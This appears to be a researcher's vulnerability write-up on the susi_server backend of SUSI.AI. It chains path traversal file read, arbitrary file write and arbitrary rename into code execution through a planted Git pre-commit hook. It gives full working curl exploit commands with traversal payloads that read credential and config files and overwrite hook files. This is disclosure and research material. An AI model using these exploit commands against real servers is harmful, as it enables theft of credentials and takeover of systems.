From Arbitrary File Write to RCE Using Git Hooks in fossasia/susi_server
Introduction
Some time ago I thought that it would be a fun idea to create a CodeQL query that detects arbitrary (=user-controlled) file reads and writes in Java applications.
The query is sadly not yet production-ready but it already found some results.
In this post I’m going to show you different vulnerabilities that I found in fossasia/susi_server.
susi_server is the backend server for SUSI.AI:
SUSI.AI is an intelligent Open Source personal assistant. It is capable of chat and voice interaction by using APIs to perform actions such as music playback, making to-do lists, setting alarms, streaming podcasts, playing audiobooks, and providing weather, traffic, and other real-time information.
Here’s an outline of what I’m going to show:
- Arbitrary file read
- Arbitrary
.txtfile write - Arbitrary file rename
- A combination of 2. and 3. for an arbitrary file write
- RCE in
susi_serverusing Git hooks
(susi_server contains multiple arbitrary file reads, writes, renames, and directory listings and I can’t cover all vulnerabilities. This lgtm.com query shows all instances where user-controlled values are used in paths.)
Video Transcript/Description:
The execution of the attack commands is shown in rapid succession, ending with a calculator that pops up. A detailed explanation can be found here.
Setup Instructions
Requirements
- Java 11
- Linux (Mac might also work)
General Setup
git clone https://github.com/fossasia/susi_server
cd susi_server
git checkout d27ed0f5dc6ec4a097f02e6db3794b3896205bc5
./gradlew build -x test
mkdir data/image_uploads/
bin/start.sh
# Should now be running here: http://localhost:4000
Editing the Configuration
We have to do one small edit in conf/config.properties to match the configuration of SUSI.AI, which is the official deployed version of susi_server.
Namely, we have to change skill_repo.pull_enable = false to skill_repo.pull_enable = true.
Creating an Account
It’s rather complicated to (locally) create an account for susi_server and not easily possible without messing with the source code.
I’ve messed with the source and created the account local@local.de with the wonderful password 123asdA!
But it’s far easier to just execute these two commands which will recreate the above account:
echo '{"passwd_login:local@local.de": {
"salt": "DLLACzvJzjzsKbv5KX0h",
"id": "email:local@local.de",
"passwordHash": "7RSabEzhkMpOfpVsiQrEK3kzDCABkzYZ9P2rwqwy9cw=",
"activated": true
}}' > data/settings/authentication.json
echo '{"email:local@local.de": {
"permissions": {},
"userRole": "user"
}}' > data/settings/authorization.json
Getting an Access Token
For some of the exploits we have to be authenticated.
The official instance of susi_server allows anyone to register, so practically authentication is no barrier.
Executing curl 'http://localhost:4000/aaa/login.json?login=local@local.de&type=access-token&password=123asdA!' will give us an access token.
Arbitrary File Read
This issue allows any unauthenticated person to read arbitrary files. Let’s say we have “forgotten” the password of the account we just created.
How can we get it back?
Easy, curl http://localhost:4000/cms/getImage.png?image=../settings/authentication.json will give us:
{"passwd_login:local@local.de": {
"salt": "DLLACzvJzjzsKbv5KX0h",
"id": "email:local@local.de",
"passwordHash": "7RSabEzhkMpOfpVsiQrEK3kzDCABkzYZ9P2rwqwy9cw=",
"activated": true
}}
and curl http://localhost:4000/cms/getImage.png?image=../settings/authorization.json will tell us, whether this is an admin or a normal user account:
{"email:local@local.de": {
"permissions": {},
"userRole": "user"
}}
One could then use hashcat to break the hash.
Running curl http://localhost:4000/cms/getImage.png?image=../../conf/config.properties would get us AWS keys or in certain cases the password for a Github acccount.
Any file that the application can read, can also be read by us!
Cause
GetImageServlet.java directly derives image_path from the GET parameter image and then uses it to create a new File whose content will then be transmitted back to us.
String image_path = post.get("image","");
[...]
imageFile = new File(DAO.data_dir + File.separator + "image_uploads" + File.separator + image_path);
Arbitrary (.txt) File Write
Running
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'model=general' \
-F 'group=Knowledge' -F 'language=en' -F 'skill=whois' -F 'content=OWNED' \
-F 'image=' -F 'image_name=owned' 'http://localhost:4000/cms/createSkill.json'
will successfully create the file susi_skill_data/models/general/Knowledge/en/whois.txt (susi_skill_data is a sibling directory of susi_server) with the content OWNED.
Cause
CreateSkillService.java directly derives skill_name from the GET parameter skill. This is then used to retrieve a skill file to which user-controlled content is written.
String skill_name = req.getParameter("skill");
File skill = DAO.getSkillFileInLanguage(language, skill_name, false);
[...]
String content = req.getParameter("content");
[...]
try (FileWriter Skillfile = new FileWriter(skill)) {
Skillfile.write(content);
Arbitrary File Write via Arbitrary Rename
Running
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \
-F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \
-F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \
-F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=hacked' \
-F 'content=ANYTHING' -F 'new_image_name=PATH_TO_SOME_FILE' -F \
'old_image_name=PATH_TO_SOME_FILE' 'http://localhost:4000/cms/modifySkill.json'
will rename the skill from whois (-F 'OldSkill=whois') to hacked (-F 'NewSkill=hacked').
But more importantly using old_image_name and new_image_name allows us to rename an arbitrary file!
So for an arbitrary write we just have to use the arbitrary .txt write and then rename the .txt file to whatever we want!
Cause
ModifySkillService.java directly derives new_image_name and old_image_name from a GET parameter.
The resulting (user-controlled) paths are then used in old_path.toFile().renameTo(new_path.toFile()) which makes this an arbitrary rename.
String new_image_name = call.getParameter("new_image_name"); // Line 273
Path new_path = Paths.get(modified_language + File.separator + "images/" + new_image_name); // 275
[...]
String old_image_name = call.getParameter("old_image_name"); // 328
Path old_path = Paths.get(language + File.separator + "images/" + old_image_name);
if (!Files.exists(new_path)) {
old_path.toFile().renameTo(new_path.toFile());
http://localhost:4000/cms/getImage.png?image=../settings/authentication.json
Remote Code Execution (Using Git Hooks)
(If you know an easier way, let me know!)
So how can we get RCE via arbitrary write?
I did not know any easier way, so I chose this way:
susi_server has a Git repository for its skill data, so that all modifications to the skills are commited to Git.
It uses JGit to periodically (every 60 seconds) perform the commits, so my idea was to (ab)use Git pre commit hooks to execute arbitrary code!
First failed attempt
Plan of action:
- Write a
.txtfile with the content#!/bin/sh\nexec xcalc. - Rename the
.txtso that it ends up assusi_skill_data/.git/hooks/pre-commit. - The rename causes a commit and our pre-commit hook gets triggered.
After running the necessary curl commands and after the commit has happened a calculator should have popped up.
But it didn’t.
Why?
Both Git and JGit require the pre-commit to be executable and our file isn’t.
Second failed attempt
Luckily, Git by default includes sample hooks that are executable!
So the new plan of action looks like this:
- Rename
susi_skill_data/.git/hooks/pre-commit.sampleto a.txtfile that we can write to. - Write
#!/bin/sh\nexec xcalcto the.txtfile. - Rename the
.txtfile tosusi_skill_data/.git/hooks/pre-commit. - The rename causes a commit and the
pre-commit.sampleby default has executable permissions!
We do this by running two commands:
- Run
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=whois' \ -F 'content=ANYTHING' -F 'new_image_name=../pre-commit.txt' \ -F 'old_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit.sample' \ 'http://localhost:4000/cms/modifySkill.json'This will replace the content of
whois.txt(which we created earlier in the arbitrary.txtfile write section) withANYTHINGand movepre-commit.sample(from the hooks directory) topre-commit.txtwhich is in the same directory aswhois.txt. - Run
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=pre-commit' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=pre-commit' \ -F $'content=#!/bin/sh\nexec xcalc' \ -F 'new_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit' \ -F 'old_image_name=../pre-commit.txt' 'http://localhost:4000/cms/modifySkill.json'This will replace the content of
pre-commit.txtwith
#!/bin/sh
exec xcalc
and movepre-commit.txt(from the skills directory) topre-commit(in the hooks directory).
Still, no calculator :(
Why?
Only Git includes sample hooks while JGit doesn’t.
Working attempt
So we need another source for an executable file which we quickly find in susi_server/src/org/json/JSONException.java. Here we are assuming that the source code of susi_server is available. If it isn’t (because we’re running a prebuilt version) we will have to find another executable file.
We change the first curl command:
- Run
`curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=whois' \ -F 'content=ANYTHING' -F 'new_image_name=../pre-commit.txt' \ -F 'old_image_name=../../../../../../susi_server/src/org/json/JSONException.java' \ 'http://localhost:4000/cms/modifySkill.json'(
-F 'old_image_name=../../../../../../susi_server/src/org/json/JSONException.java` changed) - Run
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=pre-commit' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=pre-commit' \ -F $'content=#!/bin/sh\nexec xcalc' \ -F 'new_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit' \ -F 'old_image_name=../pre-commit.txt' 'http://localhost:4000/cms/modifySkill.json'
Et voila! After about 60 seconds a calc pops up.
POC-Video - Detailed Explanation
Video Transcript - Detailed Explanation:
- In a terminal
bin/start.shis executed inside thesusi_serverfolder to start the server. - In a terminal the following command is executed:
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'model=general' \ -F 'group=Knowledge' -F 'language=en' -F 'skill=whois' -F 'content=OWNED' \ -F 'image=' -F 'image_name=owned' 'http://localhost:4000/cms/createSkill.json'This creates the file
susi_skill_data/models/general/Knowledge/en/whois.txt(susi_skill_datais a sibling directory ofsusi_server) with the contentOWNED. - A file manager is opened which shows the existence of the
susi_skill_data/models/general/Knowledge/en/whois.txtfile and also thesusi_skill_data/models/general/Knowledge/en/images/ownedfile. - In a terminal the following command is executed:
`curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=whois' \ -F 'content=ANYTHING' -F 'new_image_name=../pre-commit.txt' \ -F 'old_image_name=../../../../../../susi_server/src/org/json/JSONException.java' \ 'http://localhost:4000/cms/modifySkill.json'This will change the content of the
whoisskill file fromOWNEDtoANYTHING. The filesusi_server/src/org/json/JSONException.java(this file is executable) is renamed tosusi_skill_data/models/general/Knowledge/en/pre-commit.txt. - In a terminal the following command is executed:
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=pre-commit' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=pre-commit' \ -F $'content=#!/bin/sh\nexec xcalc' \ -F 'new_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit' \ -F 'old_image_name=../pre-commit.txt' 'http://localhost:4000/cms/modifySkill.json'This will change the content of the
pre-commitskill file to#!/bin/sh\nexec xcalc. The skill filesusi_skill_data/models/general/Knowledge/en/pre-commit.txtis then moved tosusi_skill_data/.git/hooks/pre-commit. - A file manager is opened which shows the existence of the
susi_skill_data/.git/hooks/pre-commitfile. - The changes are now automatically commited by
susi_server. This triggers the malicious pre-commit hook we just created. A calculator that pops up can be seen.